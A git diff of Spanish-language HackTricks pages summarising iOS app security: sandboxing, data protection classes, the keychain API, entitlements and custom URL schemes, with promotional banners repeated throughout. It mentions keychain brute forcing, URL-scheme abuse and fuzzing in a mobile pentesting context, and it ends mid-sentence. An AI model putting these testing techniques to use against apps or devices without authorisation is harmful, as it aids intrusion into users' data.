* [https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0072/](https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0072/)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende a hackear AWS desde cero hasta convertirte en un experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,39 +1,40 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
# Separación de Privilegios y Sandbox
En iOS, existe una distinción de privilegios entre las aplicaciones accesibles para el usuario y los procesos fundamentales del sistema. Las aplicaciones se ejecutan bajo la identidad de usuario **`mobile`**, mientras que los procesos esenciales del sistema operan como **`root`**. Esta separación se ve reforzada por un mecanismo de sandbox, que impone estrictas limitaciones sobre las acciones que las aplicaciones pueden realizar. Por ejemplo, aunque las aplicaciones compartan la misma identidad de usuario, se les prohíbe acceder o modificar los datos de otras aplicaciones.
En iOS, existe una distinción en privilegios entre las aplicaciones accesibles para el usuario y los procesos centrales del sistema. Las aplicaciones se ejecutan bajo la identidad de usuario **`mobile`**, mientras que los procesos cruciales del sistema operan como **`root`**. Esta separación se ve reforzada por un mecanismo de sandbox, que impone estrictas limitaciones sobre las acciones que pueden realizar las aplicaciones. Por ejemplo, incluso si las aplicaciones comparten la misma identidad de usuario, se les prohíbe acceder o modificar los datos de otras.
Las aplicaciones se instalan en un directorio específico (`private/var/mobile/Applications/{ID aleatorio}`) y tienen acceso de lectura restringido a ciertas áreas y funcionalidades del sistema, como los SMS y las llamadas telefónicas. El acceso a áreas protegidas desencadena una solicitud emergente de permiso del usuario.
Las aplicaciones se instalan en un directorio específico (`private/var/mobile/Applications/{random ID}`) y tienen acceso de lectura restringido a ciertas áreas y funcionalidades del sistema, como SMS y llamadas telefónicas. El acceso a áreas protegidas activa una solicitud emergente de permiso del usuario.
# Protección de Datos
iOS ofrece a los desarrolladores las **API de Protección de Datos**, construidas sobre el Procesador de Recinto Seguro (SEP) — un coprocesador dedicado para operaciones criptográficas y gestión de claves. El SEP garantiza la integridad de la protección de datos mediante una clave única específica del dispositivo, el UID del dispositivo, incrustado en él.
iOS ofrece a los desarrolladores las **APIs de Protección de Datos**, construidas sobre el Procesador de Enclave Seguro (SEP) — un coprocesador dedicado a operaciones criptográficas y gestión de claves. El SEP asegura la integridad de la protección de datos a través de una clave única específica del dispositivo, el UID del dispositivo, incrustada en él.
Al crear un archivo, se genera una clave de cifrado AES única de 256 bits, que cifra el contenido del archivo. Esta clave de cifrado, junto con un ID de clase, se cifra luego usando una clave de clase y se almacena dentro de los metadatos del archivo. Descifrar un archivo implica usar la clave del sistema para acceder a los metadatos, recuperar la clave de clase con el ID de clase y luego descifrar la clave de cifrado única del archivo.
Al crear un archivo, se genera una clave de cifrado AES de 256 bits única, cifrando el contenido del archivo. Esta clave de cifrado, junto con un ID de clase, se cifra utilizando una clave de clase y se almacena dentro de los metadatos del archivo. Desencriptar un archivo implica usar la clave del sistema para acceder a los metadatos, recuperar la clave de clase con el ID de clase y luego desencriptar la clave de cifrado única del archivo.
iOS define **cuatro clases de protección** para la seguridad de datos, que determinan cuándo y cómo se puede acceder a los datos:
iOS define **cuatro clases de protección** para la seguridad de los datos, que determinan cuándo y cómo se puede acceder a los datos:
- **Protección Completa (NSFileProtectionComplete)**: Los datos son inaccesibles hasta que el dispositivo se desbloquee usando el código de acceso del usuario.
- **Protegido a menos que se abra (NSFileProtectionCompleteUnlessOpen)**: Permite el acceso al archivo incluso después de que el dispositivo esté bloqueado, siempre que el archivo se haya abierto cuando el dispositivo estaba desbloqueado.
- **Protegido hasta la primera autenticación del usuario (NSFileProtectionCompleteUntilFirstUserAuthentication)**: Los datos son accesibles después del primer desbloqueo del usuario después del arranque, y siguen siendo accesibles incluso si el dispositivo se bloquea nuevamente.
- **Sin Protección (NSFileProtectionNone)**: Los datos solo están protegidos por el UID del dispositivo, facilitando un borrado rápido de datos remoto.
- **Protegido a Menos que Esté Abierto (NSFileProtectionCompleteUnlessOpen)**: Permite el acceso al archivo incluso después de que el dispositivo esté bloqueado, siempre que el archivo se haya abierto cuando el dispositivo fue desbloqueado.
- **Protegido Hasta la Primera Autenticación del Usuario (NSFileProtectionCompleteUntilFirstUserAuthentication)**: Los datos son accesibles después de la primera desbloqueo del usuario tras el arranque, permaneciendo accesibles incluso si el dispositivo se bloquea nuevamente.
- **Sin Protección (NSFileProtectionNone)**: Los datos están protegidos solo por el UID del dispositivo, facilitando un borrado rápido de datos de forma remota.
El cifrado de todas las clases, excepto `NSFileProtectionNone`, implica una clave derivada tanto del UID del dispositivo como del código de acceso del usuario, asegurando que el descifrado solo sea posible en el dispositivo con el código de acceso correcto. Desde iOS 7 en adelante, la clase de protección predeterminada es "Protegido hasta la primera autenticación del usuario".
El cifrado de todas las clases, excepto `NSFileProtectionNone`, implica una clave derivada tanto del UID del dispositivo como del código de acceso del usuario, asegurando que la desencriptación solo sea posible en el dispositivo con el código de acceso correcto. A partir de iOS 7, la clase de protección predeterminada es "Protegido Hasta la Primera Autenticación del Usuario".
Los desarrolladores pueden utilizar [**FileDP**](https://github.com/abjurato/FileDp-Source), una herramienta para inspeccionar la clase de protección de datos de archivos en un iPhone.
Los desarrolladores pueden usar [**FileDP**](https://github.com/abjurato/FileDp-Source), una herramienta para inspeccionar la clase de protección de datos de los archivos en un iPhone.
```python
# Example code to use FileDP for checking file protection class
# Note: Ensure your device is jailbroken and has Python installed to use FileDP.
@ -42,46 +43,46 @@ git clone https://github.com/abjurato/FileDp-Source
cd FileDp-Source
python filedp.py /path/to/check
```
## **El Portafolio de Claves**
## **El llavero**
En iOS, un **Portafolio de Claves** sirve como un **contenedor seguro encriptado** para almacenar **información sensible**, accesible solo por la aplicación que la almacenó o por aquellas autorizadas explícitamente. Esta encriptación está fortalecida por una **contraseña única generada por iOS**, la cual está encriptada con **AES**. Este proceso de encriptación aprovecha una función **PBKDF2**, combinando el código de acceso del usuario con una sal derivada del **UID** del dispositivo, un componente al que solo puede acceder el **chipset del enclave seguro**. En consecuencia, incluso si se conoce el código de acceso del usuario, el contenido del Portafolio de Claves permanece inaccesible en cualquier dispositivo que no sea aquel donde se encriptaron originalmente.
En iOS, un **llavero** sirve como un **contenedor encriptado seguro** para almacenar **información sensible**, accesible solo por la aplicación que lo almacenó o aquellas explícitamente autorizadas. Esta encriptación se refuerza con una **contraseña única generada por iOS**, que a su vez está encriptada con **AES**. Este proceso de encriptación utiliza una **función PBKDF2**, combinando el código de acceso del usuario con una sal derivada del **UID** del dispositivo, un componente al que solo puede acceder el **chipset de enclave seguro**. En consecuencia, incluso si se conoce el código de acceso del usuario, el contenido del llavero permanece inaccesible en cualquier dispositivo que no sea aquel donde fueron encriptados originalmente.
El **manejo y acceso** a los datos del Portafolio de Claves son gestionados por el demonio **`securityd`**, basado en permisos específicos de la aplicación como `Keychain-access-groups` y `application-identifier`.
**La gestión y el acceso** a los datos del llavero son manejados por el **demonio `securityd`**, basado en derechos específicos de la aplicación como `Keychain-access-groups` y `application-identifier`.
### **Operaciones de la API del Portafolio de Claves**
### **Operaciones de la API del Llavero**
La API del Portafolio de Claves, detallada en la [documentación de Servicios de Portafolio de Claves de Apple](https://developer.apple.com/library/content/documentation/Security/Conceptual/keychainServConcepts/02concepts/concepts.html), proporciona funciones esenciales para la gestión segura del almacenamiento:
La API del llavero, detallada en la [documentación de servicios de llavero de Apple](https://developer.apple.com/library/content/documentation/Security/Conceptual/keychainServConcepts/02concepts/concepts.html), proporciona funciones esenciales para la gestión de almacenamiento seguro:
- **`SecItemAdd`**: Agrega un nuevo elemento al Portafolio de Claves.
- **`SecItemUpdate`**: Actualiza un elemento existente en el Portafolio de Claves.
- **`SecItemCopyMatching`**: Recupera un elemento del Portafolio de Claves.
- **`SecItemDelete`**: Elimina un elemento del Portafolio de Claves.
- **`SecItemAdd`**: Agrega un nuevo elemento al llavero.
- **`SecItemUpdate`**: Actualiza un elemento existente en el llavero.
- **`SecItemCopyMatching`**: Recupera un elemento del llavero.
- **`SecItemDelete`**: Elimina un elemento del llavero.
Forzar la contraseña del Portafolio de Claves implica atacar directamente la clave encriptada o intentar adivinar el código de acceso en el propio dispositivo, dificultado significativamente por la imposición de un retraso entre intentos fallidos por parte del enclave seguro.
Forzar la contraseña del llavero implica atacar la clave encriptada directamente o intentar adivinar el código de acceso en el dispositivo mismo, obstaculizado significativamente por la aplicación de un retraso entre intentos fallidos por parte del enclave seguro.
### **Configuración de la Protección de Datos del Elemento del Portafolio de Claves**
### **Configuración de la Protección de Datos de Elementos del Llavero**
Los niveles de protección de datos para los elementos del Portafolio de Claves se establecen utilizando el atributo `kSecAttrAccessible` durante la creación o actualización del elemento. Estos niveles, [como se especifica por Apple](https://developer.apple.com/documentation/security/keychain_services/keychain_items/item_attribute_keys_and_values#1679100), determinan cuándo y cómo los elementos del Portafolio de Claves son accesibles:
Los niveles de protección de datos para los elementos del llavero se establecen utilizando el atributo `kSecAttrAccessible` durante la creación o actualización del elemento. Estos niveles, [según lo especificado por Apple](https://developer.apple.com/documentation/security/keychain_services/keychain_items/item_attribute_keys_and_values#1679100), determinan cuándo y cómo son accesibles los elementos del llavero:
- **`kSecAttrAccessibleAlways`**: Accesible en todo momento, independientemente del estado de bloqueo del dispositivo.
- **`kSecAttrAccessibleAlways`**: Accesible en cualquier momento, independientemente del estado de bloqueo del dispositivo.
- **`kSecAttrAccessibleAlwaysThisDeviceOnly`**: Siempre accesible, pero no incluido en copias de seguridad.
- **`kSecAttrAccessibleAfterFirstUnlock`**: Accesible después del primer desbloqueo posterior al reinicio.
- **`kSecAttrAccessibleAfterFirstUnlockThisDeviceOnly`**: Igual que el anterior, pero no transferible a nuevos dispositivos.
- **`kSecAttrAccessibleAfterFirstUnlock`**: Accesible después del primer desbloqueo tras un reinicio.
- **`kSecAttrAccessibleAfterFirstUnlockThisDeviceOnly`**: Igual que lo anterior, pero no transferible a nuevos dispositivos.
- **`kSecAttrAccessibleWhenUnlocked`**: Solo accesible cuando el dispositivo está desbloqueado.
- **`kSecAttrAccessibleWhenUnlockedThisDeviceOnly`**: Accesible cuando está desbloqueado, no incluido en copias de seguridad.
- **`kSecAttrAccessibleWhenPasscodeSetThisDeviceOnly`**: Requiere código de acceso del dispositivo, no incluido en copias de seguridad.
- **`kSecAttrAccessibleWhenPasscodeSetThisDeviceOnly`**: Requiere el código de acceso del dispositivo, no incluido en copias de seguridad.
**`AccessControlFlags`** refinan aún más los métodos de acceso, permitiendo la autenticación biométrica o el uso de un código de acceso.
### **Advertencia sobre Dispositivos con Jailbreak**
### **Advertencia sobre Dispositivos Jailbroken**
{% hint style="warning" %}
En los **dispositivos con jailbreak**, las protecciones del Portafolio de Claves se ven comprometidas, representando un riesgo de seguridad significativo.
En **dispositivos jailbroken**, las protecciones del llavero están comprometidas, lo que representa un riesgo de seguridad significativo.
{% endhint %}
### **Persistencia de los Datos del Portafolio de Claves**
### **Persistencia de los Datos del Llavero**
A diferencia de los datos específicos de la aplicación eliminados al desinstalar la aplicación, los **datos del Portafolio de Claves persisten** en el dispositivo. Esta característica podría permitir a los nuevos propietarios de un dispositivo de segunda mano acceder a los datos de la aplicación del propietario anterior simplemente reinstalando aplicaciones. Se recomienda a los desarrolladores borrar proactivamente los datos del Portafolio de Claves al instalar la aplicación o durante el cierre de sesión para mitigar este riesgo. Aquí tienes un ejemplo de código Swift que muestra cómo borrar los datos del Portafolio de Claves al iniciar la aplicación por primera vez:
A diferencia de los datos específicos de la aplicación que se eliminan al desinstalar la aplicación, **los datos del llavero persisten** en el dispositivo. Esta característica podría permitir a los nuevos propietarios de un dispositivo de segunda mano acceder a los datos de la aplicación del propietario anterior simplemente reinstalando las aplicaciones. Se aconseja a los desarrolladores que eliminen proactivamente los datos del llavero al instalar la aplicación o durante el cierre de sesión para mitigar este riesgo. Aquí hay un ejemplo de código Swift que demuestra cómo limpiar los datos del llavero al primer lanzamiento de la aplicación:
```swift
let userDefaults = UserDefaults.standard
@ -93,44 +94,44 @@ userDefaults.set(true, forKey: "hasRunBefore")
userDefaults.synchronize() // Forces the app to update UserDefaults
}
```
# **Capacidades de la aplicación**
# **Capacidades de la App**
En el ámbito del desarrollo de aplicaciones, el **sandboxing** juega un papel crucial en mejorar la seguridad. Este proceso asegura que cada aplicación opere dentro de su propio directorio único, evitando así el acceso a archivos del sistema o datos pertenecientes a otras aplicaciones. La aplicación de estas restricciones se lleva a cabo a través de políticas de sandbox, que forman parte del **Trusted BSD (MAC) Mandatory Access Control Framework**.
En el ámbito del desarrollo de aplicaciones, **sandboxing** juega un papel crucial en la mejora de la seguridad. Este proceso asegura que cada aplicación opere dentro de su propio directorio de inicio único, evitando así que acceda a archivos del sistema o datos pertenecientes a otras aplicaciones. La aplicación de estas restricciones se lleva a cabo a través de políticas de sandbox, que son parte del **Trusted BSD (MAC) Mandatory Access Control Framework**.
Los desarrolladores tienen la capacidad de configurar ciertas **capacidades o permisos** para sus aplicaciones, como **Protección de Datos** o **Compartir Llaveros**. Estos permisos se aplican inmediatamente después de la instalación de la aplicación. Sin embargo, para acceder a ciertos recursos protegidos, la aplicación debe obtener el consentimiento explícito del usuario en el momento del primer intento. Esto se logra mediante el uso de _cadenas de propósito_ o _cadenas de descripción de uso_, que se presentan a los usuarios en una alerta de solicitud de permiso.
Los desarrolladores tienen la capacidad de configurar ciertas **capacidades o permisos** para sus aplicaciones, como **Data Protection** o **Keychain Sharing**. Estos permisos se aplican inmediatamente después de que la aplicación es instalada. No obstante, para acceder a ciertos recursos protegidos, la aplicación debe obtener el consentimiento explícito del usuario en el momento del primer intento. Esto se logra mediante el uso de _purpose strings_ o _usage description strings_, que se presentan a los usuarios en una alerta de solicitud de permiso.
Para aquellos con acceso al código fuente, la verificación de los permisos incluidos en el archivo `Info.plist` se puede hacer mediante:
Para aquellos con acceso al código fuente, la verificación de permisos incluidos en el archivo `Info.plist` se puede hacer mediante:
1. Abrir el proyecto en Xcode.
2. Localizar y abrir el archivo `Info.plist`.
3. Buscar claves con prefijo `"Privacy -"`, con la opción de ver claves/valores en bruto para mayor claridad.
3. Buscar claves con el prefijo `"Privacy -"`, con la opción de ver claves/valores en bruto para mayor claridad.
Al tratar con un archivo IPA, se pueden seguir los siguientes pasos:
1. Descomprimir el IPA.
2. Localizar el archivo `Info.plist` dentro de `Payload/<nombreapp>.app/`.
2. Localizar el archivo `Info.plist` dentro de `Payload/<appname>.app/`.
3. Convertir el archivo a formato XML si es necesario, para una inspección más fácil.
Por ejemplo, las cadenas de propósito en el archivo `Info.plist` podrían verse así:
Por ejemplo, las purpose strings en el archivo `Info.plist` podrían verse así:
```xml
<plist version="1.0">
<dict>
<key>NSLocationWhenInUseUsageDescription</key>
<string>Your location is used to provide turn-by-turn directions to your destination.</string>
```
## Capacidades del Dispositivo
El archivo `Info.plist` de una aplicación especifica las **capacidades del dispositivo** que ayudan a la App Store a filtrar aplicaciones según la compatibilidad del dispositivo. Estas se definen bajo la clave **`UIRequiredDeviceCapabilities`**. Por ejemplo:
## Device Capabilities
El archivo `Info.plist` de una aplicación especifica **capacidades del dispositivo** que ayudan a la App Store a filtrar aplicaciones para la compatibilidad del dispositivo. Estas se definen bajo la clave **`UIRequiredDeviceCapabilities`**. Por ejemplo:
```xml
<key>UIRequiredDeviceCapabilities</key>
<array>
<string>armv7</string>
</array>
```
Este ejemplo indica que la aplicación es compatible con el conjunto de instrucciones armv7. Los desarrolladores también pueden especificar capacidades como nfc para asegurarse de que su aplicación solo esté disponible en dispositivos que admitan NFC.
Este ejemplo indica que la aplicación es compatible con el conjunto de instrucciones armv7. Los desarrolladores también pueden especificar capacidades como nfc para garantizar que su aplicación solo esté disponible para dispositivos que admiten NFC.
## Entitlements
## Derechos
**Entitlements** son otro aspecto crítico del desarrollo de aplicaciones iOS, sirviendo como pares clave-valor que otorgan a las aplicaciones permiso para realizar ciertas operaciones más allá de las verificaciones en tiempo de ejecución. Por ejemplo, habilitar **Protección de Datos** en una aplicación implica agregar un entitlement específico en el proyecto Xcode, que luego se refleja en el archivo de entitlements de la aplicación o en el archivo de provisión móvil incrustado para IPAs.
**Derechos** son otro aspecto crítico del desarrollo de aplicaciones iOS, sirviendo como pares clave-valor que otorgan a las aplicaciones permiso para realizar ciertas operaciones más allá de las verificaciones en tiempo de ejecución. Por ejemplo, habilitar **Protección de Datos** en una aplicación implica agregar un derecho específico en el proyecto de Xcode, que luego se refleja en el archivo de derechos de la aplicación o en el archivo de provisión móvil incrustado para IPAs.
# Referencias
@ -141,16 +142,17 @@ Este ejemplo indica que la aplicación es compatible con el conjunto de instrucc
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,28 +1,29 @@
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
Este es un resumen de la información relacionada en [https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0075/](https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0075/)
Este es un resumen de la información relacionada de [https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0075/](https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0075/)
## Información Básica
Los esquemas de URL personalizados permiten que las aplicaciones se comuniquen utilizando un protocolo personalizado, como se detalla en la [Documentación para Desarrolladores de Apple](https://developer.apple.com/library/content/documentation/iPhone/Conceptual/iPhoneOSProgrammingGuide/Inter-AppCommunication/Inter-AppCommunication.html#//apple_ref/doc/uid/TP40007072-CH6-SW1). Estos esquemas deben ser declarados por la aplicación, la cual maneja las URL entrantes siguiendo esos esquemas. Es crucial **validar todos los parámetros de la URL** y **descartar cualquier URL malformada** para prevenir ataques a través de este vector.
Los esquemas de URL personalizados permiten que las aplicaciones se comuniquen utilizando un protocolo personalizado, como se detalla en la [Documentación para Desarrolladores de Apple](https://developer.apple.com/library/content/documentation/iPhone/Conceptual/iPhoneOSProgrammingGuide/Inter-AppCommunication/Inter-AppCommunication.html#//apple_ref/doc/uid/TP40007072-CH6-SW1). Estos esquemas deben ser declarados por la aplicación, que luego maneja las URL entrantes siguiendo esos esquemas. Es crucial **validar todos los parámetros de la URL** y **descartar cualquier URL malformada** para prevenir ataques a través de este vector.
Se da un ejemplo donde la URI `myapp://hostname?data=123876123` invoca una acción específica de la aplicación. Se señaló una vulnerabilidad en la aplicación móvil de Skype, que permitía acciones de llamada no permitidas a través del protocolo `skype://`. Los esquemas registrados se pueden encontrar en el archivo `Info.plist` de la aplicación bajo `CFBundleURLTypes`. Aplicaciones maliciosas pueden explotar esto al volver a registrar URIs para interceptar información sensible.
Se da un ejemplo donde la URI `myapp://hostname?data=123876123` invoca una acción específica de la aplicación. Una vulnerabilidad señalada estaba en la aplicación Skype Mobile, que permitía acciones de llamada no permitidas a través del protocolo `skype://`. Los esquemas registrados se pueden encontrar en el `Info.plist` de la aplicación bajo `CFBundleURLTypes`. Las aplicaciones maliciosas pueden explotar esto volviendo a registrar URIs para interceptar información sensible.
### Registro de Esquemas de Consulta de Aplicación
### Registro de Esquemas de Consulta de Aplicaciones
A partir de iOS 9.0, para verificar si una aplicación está disponible, `canOpenURL:` requiere declarar esquemas de URL en el archivo `Info.plist` bajo `LSApplicationQueriesSchemes`. Esto limita los esquemas que una aplicación puede consultar a 50, mejorando la privacidad al prevenir la enumeración de aplicaciones.
Desde iOS 9.0, para verificar si una aplicación está disponible, `canOpenURL:` requiere declarar esquemas de URL en el `Info.plist` bajo `LSApplicationQueriesSchemes`. Esto limita los esquemas que una aplicación puede consultar a 50, mejorando la privacidad al prevenir la enumeración de aplicaciones.
```xml
<key>LSApplicationQueriesSchemes</key>
<array>
@ -30,9 +31,9 @@ A partir de iOS 9.0, para verificar si una aplicación está disponible, `canOpe
<string>url_scheme2</string>
</array>
```
### Prueba de Manejo y Validación de URL
### Testing URL Handling and Validation
Los desarrolladores deben inspeccionar métodos específicos en el código fuente para comprender la construcción y validación de la ruta de URL, como `application:didFinishLaunchingWithOptions:` y `application:openURL:options:`. Por ejemplo, Telegram emplea varios métodos para abrir URLs:
Los desarrolladores deben inspeccionar métodos específicos en el código fuente para entender la construcción y validación de rutas URL, como `application:didFinishLaunchingWithOptions:` y `application:openURL:options:`. Por ejemplo, Telegram emplea varios métodos para abrir URLs:
```swift
func application(_ application: UIApplication, open url: URL, sourceApplication: String?) -> Bool {
self.openUrl(url: url)
@ -56,17 +57,17 @@ self.openUrl(url: url)
return true
}
```
### Probando Solicitudes de URL a Otras Aplicaciones
### Testing URL Requests to Other Apps
Métodos como `openURL:options:completionHandler:` son cruciales para abrir URLs e interactuar con otras aplicaciones. Identificar el uso de tales métodos en el código fuente de la aplicación es clave para comprender las comunicaciones externas.
Métodos como `openURL:options:completionHandler:` son cruciales para abrir URLs e interactuar con otras aplicaciones. Identificar el uso de tales métodos en el código fuente de la aplicación es clave para entender las comunicaciones externas.
### Pruebas de Métodos Obsoletos
### Testing for Deprecated Methods
Los métodos obsoletos que manejan la apertura de URLs, como `application:handleOpenURL:` y `openURL:`, deben ser identificados y revisados en busca de implicaciones de seguridad.
Los métodos obsoletos que manejan la apertura de URLs, como `application:handleOpenURL:` y `openURL:`, deben ser identificados y revisados por sus implicaciones de seguridad.
### Fuzzing de Esquemas de URL
### Fuzzing URL Schemes
El fuzzing de esquemas de URL puede identificar errores de corrupción de memoria. Herramientas como [Frida](https://codeshare.frida.re/@dki/ios-url-scheme-fuzzing/) pueden automatizar este proceso abriendo URLs con cargas útiles variables para monitorear posibles bloqueos, como se ejemplifica con la manipulación de URLs en la aplicación iGoat-Swift:
